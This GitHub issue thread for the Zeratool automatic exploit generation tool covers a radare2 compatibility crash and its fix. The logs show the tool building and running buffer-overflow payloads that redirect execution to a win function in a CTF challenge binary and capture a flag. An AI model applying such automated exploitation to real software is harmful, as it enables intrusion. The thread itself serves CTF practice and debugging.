ChrisTheCoolHut / Zeratool

Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems
GNU General Public License v3.0
1.11k stars 147 forks source link

doesn't work #19

Closed ffpepwowa closed 2 years ago

ffpepwowa commented 2 years ago

zerapwn.py challenges/ret -u ctf.hackucf.org -p 9003 [+] Checking pwn type... [+] Checking for overflow pwn type... ERROR | 2021-11-18 19:06:04,246 | angr.project | Could not find symbol rand ERROR | 2021-11-18 19:06:04,247 | angr.project | Could not find symbol srand WARNING | 2021-11-18 19:06:04,248 | angr.simos.simos | stdin is constrained to 300 bytes (has_end=True). If you are only providing the first 300 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False). WARNING | 2021-11-18 19:06:08,844 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 Reverse(input_3_2400[1759:1728])> Found vulnerable state. [+] Vulnerable path found b'\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xef\xbe\xad\xde\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9CCCC\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xdd\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' [+] Getting binary protections [*] '/home/ubuntu/ctf/Zeratool/challenges/ret' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: b'/usr/local/lib:$ORIGIN' INFO | 2021-11-18 19:06:09,019 | pwnlib.elf.elf | '/home/ubuntu/ctf/Zeratool/challenges/ret' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: b'/usr/local/lib:$ORIGIN' Traceback (most recent call last): File "/root/virtualenvs/zeratool/bin/zerapwn.py", line 129, in main() File "/root/virtualenvs/zeratool/bin/zerapwn.py", line 90, in main properties["win_functions"] = winFunctionDetector.getWinFunctions(args.file) File "/root/virtualenvs/zeratool/lib/python3.7/site-packages/zeratool/winFunctionDetector.py", line 13, in getWinFunctions functions = [func for func in json.loads(r2.cmd("aflj"))] File "/usr/local/src/python37/lib/python3.7/json/init.py", line 348, in loads return _default_decoder.decode(s) File "/usr/local/src/python37/lib/python3.7/json/decoder.py", line 337, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/local/src/python37/lib/python3.7/json/decoder.py", line 355, in raw_decode raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

ChrisTheCoolHut commented 2 years ago

What version of radare2 are you using? Looks like a decode error from r2pipe.

Try using the latest r2 from github

ffpepwowa commented 2 years ago

root@ubuntu:/home/ubuntu/ctf/Zeratool# radare2 -v radare2 5.5.1 27115 @ linux-x86-64 git.5.5.0 commit: ec0b1e60f640818fb12c9e7205795221de2c09b1 build: 2021-11-18__17:51:51 root@ubuntu:/home/ubuntu/ctf/Zeratool#

VikzSharma commented 2 years ago

Getting same error for latest radare2

ChrisTheCoolHut commented 2 years ago
=================================================================================== short test summary info ===================================================================================
FAILED tests/bof_test.py::test_send_exploit - assert False == True
=============================================================== 1 failed, 12 passed, 1 skipped, 6 warnings in 79.28s (0:01:19) ================================================================
ERROR: InvocationError for command /home/chris/projects/Zeratool/.tox/py3/bin/python -m pytest -s -v (exited with code 1)
___________________________________________________________________________________________ summary ___________________________________________________________________________________________

Looks like radare2 dropped support for the drj command, so I've just swapped it to the drrj command. Should work now, the tests seem happy enough

ChrisTheCoolHut commented 2 years ago
✗ zerapwn.py challenges/ret
[+] Checking pwn type...
[+] Checking for overflow pwn type...
ERROR   | 2021-11-30 21:18:03,061 | angr.project | Could not find symbol rand
ERROR   | 2021-11-30 21:18:03,061 | angr.project | Could not find symbol srand
WARNING | 2021-11-30 21:18:03,061 | angr.simos.simos | stdin is constrained to 300 bytes (has_end=True). If you are only providing the first 300 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).
WARNING | 2021-11-30 21:18:06,026 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 Reverse(input_5_2400[1759:1728])>
Found vulnerable state.
[+] Vulnerable path found b'\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xef\xbe\xad\xde\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdbCCCC\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdf\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[+] Getting binary protections
DEBUG   | 2021-11-30 21:18:06,140 | pwnlib.elf.elf | PLT 0x80484b0 puts
DEBUG   | 2021-11-30 21:18:06,140 | pwnlib.elf.elf | PLT 0x80484c0 system
DEBUG   | 2021-11-30 21:18:06,140 | pwnlib.elf.elf | PLT 0x80484d0 exit
DEBUG   | 2021-11-30 21:18:06,141 | pwnlib.elf.elf | PLT 0x80484e0 __libc_start_main
DEBUG   | 2021-11-30 21:18:06,141 | pwnlib.elf.elf | PLT 0x80484f0 server_main
DEBUG   | 2021-11-30 21:18:06,141 | pwnlib.elf.elf | PLT 0x8048500 __isoc99_scanf
DEBUG   | 2021-11-30 21:18:06,141 | pwnlib.elf.elf | PLT 0x8048510 __gmon_start__
[*] '/home/chris/projects/Zeratool/challenges/ret'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    b'/usr/local/lib:$ORIGIN'
INFO    | 2021-11-30 21:18:06,150 | pwnlib.elf.elf | '/home/chris/projects/Zeratool/challenges/ret'
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
RPATH:    b'/usr/local/lib:$ORIGIN'
[+] Found win function sym.win
[+] Exploiting overflow
ERROR   | 2021-11-30 21:18:06,231 | angr.project | Could not find symbol rand
ERROR   | 2021-11-30 21:18:06,231 | angr.project | Could not find symbol srand
glibc.fc_offset = 0x00148
Continue until 0x0804868b using 1 bpsize
hit breakpoint at: 0x804868b
WARNING | 2021-11-30 21:18:06,506 | angr.simos.simos | stdin is constrained to 300 bytes (has_end=True). If you are only providing the first 300 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).
[+] Using point to win function technique
WARNING | 2021-11-30 21:18:09,548 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 Reverse(input_6_2400[1759:1728])>
Trying 0x804861b
[+] Vulnerable path found b'\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xef\xbe\xad\xde\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x1b\x86\x04\x08\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xda\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[+] Triggerable with input : b'\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xef\xbe\xad\xde\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x1b\x86\x04\x08\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xda\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[┤] Starting local process '/home/chris/projects/Zeratool/challenges/ret'
[+] Starting local process '/home/chris/projects/Zeratool/challenges/ret': pid 138917
INFO    | 2021-11-30 21:18:09,646 | pwnlib.tubes.process.process.140455438449776 | Starting local process '/home/chris/projects/Zeratool/challenges/ret': pid 138917
b'\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xef\xbe\xad\xde\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x1b\x86\x04\x08\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xda\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[▁] Receiving all data
INFOReceiving all data: 0B
INFOReceiving all data: 10B
[+] Receiving all data: Done (10B)
INFO    | 2021-11-30 21:18:12,652 | pwnlib.tubes.process.process.140455438449776 | Receiving all data: Done (10B)
[*] Stopped process '/home/chris/projects/Zeratool/challenges/ret' (pid 138917)
INFO    | 2021-11-30 21:18:12,654 | pwnlib.tubes.process.process.140455438449776 | Stopped process '/home/chris/projects/Zeratool/challenges/ret' (pid 138917)
[.] Starting local process '/home/chris/projects/Zeratool/challenges/ret'
[+] Starting local process '/home/chris/projects/Zeratool/challenges/ret': pid 138927
INFO    | 2021-11-30 21:18:12,670 | pwnlib.tubes.process.process.140455430926288 | Starting local process '/home/chris/projects/Zeratool/challenges/ret': pid 138927
[<] Receiving all data
INFOReceiving all data: 0B
INFOReceiving all data: 10B
INFOReceiving all data: 27B
INFOReceiving all data: 68B
[+] Receiving all data: Done (68B)
INFO    | 2021-11-30 21:18:15,676 | pwnlib.tubes.process.process.140455430926288 | Receiving all data: Done (68B)
[*] Stopped process '/home/chris/projects/Zeratool/challenges/ret' (pid 138927)
INFO    | 2021-11-30 21:18:15,678 | pwnlib.tubes.process.process.140455430926288 | Stopped process '/home/chris/projects/Zeratool/challenges/ret' (pid 138927)
b"you Win!\n\nflag{y0u_g0t_1t}\ncat: '*pass*': No such file or directory\n"
[+] Flag found:
b"you Win!\n\nflag{y0u_g0t_1t}\ncat: '*pass*': No such file or directory\n"
ChrisTheCoolHut commented 2 years ago

Pypi also has the updated version

francesco-plt commented 2 years ago
$ zerapwn.py bof1
INFO    | 2021-12-23 15:38:02,568 | __main__ | [+] Checking pwn type...
INFO    | 2021-12-23 15:38:02,569 | __main__ | [+] Checking for overflow pwn type...
WARNING | 2021-12-23 15:38:32,336 | angr.state_plugins.posix | Trying to open unknown file b'flag.txt' - created a symbolic file since ALL_FILES_EXIST is set
INFO    | 2021-12-23 15:38:33,121 | zeratool.simgr_helper | Found vulnerable state.
INFO    | 2021-12-23 15:38:33,524 | zeratool.simgr_helper | [+] Vulnerable path found b'\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\x00\x00\x00\x00\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0CCCCCCCC\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO    | 2021-12-23 15:38:33,525 | zeratool.simgr_helper | [+] Offset to bytes : 56
INFO    | 2021-12-23 15:38:33,526 | __main__ | [+] Getting binary protections
Traceback (most recent call last):
  File "/home//.local/bin/zerapwn.py", line 173, in <module>
    main()
  File "/home//.local/bin/zerapwn.py", line 133, in main
    properties["win_functions"] = winFunctionDetector.getWinFunctions(args.file)
  File "/home//.local/lib/python3.6/site-packages/zeratool/winFunctionDetector.py", line 16, in getWinFunctions
    functions = [func for func in json.loads(r2.cmd("aflj"))]
  File "/usr/lib/python3.6/json/__init__.py", line 354, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.6/json/decoder.py", line 339, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.6/json/decoder.py", line 357, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

i had the same problem after the switch from drj to drrj. Zeratool on latest (b7ccad9).

ChrisTheCoolHut commented 2 years ago

Make sure you're on the latest radare2 and that you can run 32bit binaries. https://askubuntu.com/questions/454253/how-to-run-32-bit-app-in-ubuntu-64-bit

francesco-plt commented 2 years ago

Make sure you're on the latest radare2 and that you can run 32bit binaries. https://askubuntu.com/questions/454253/how-to-run-32-bit-app-in-ubuntu-64-bit

Looks like I had to follow the official instructions on the radare2 github to install it, then after a reboot I got it working. Thanks for your help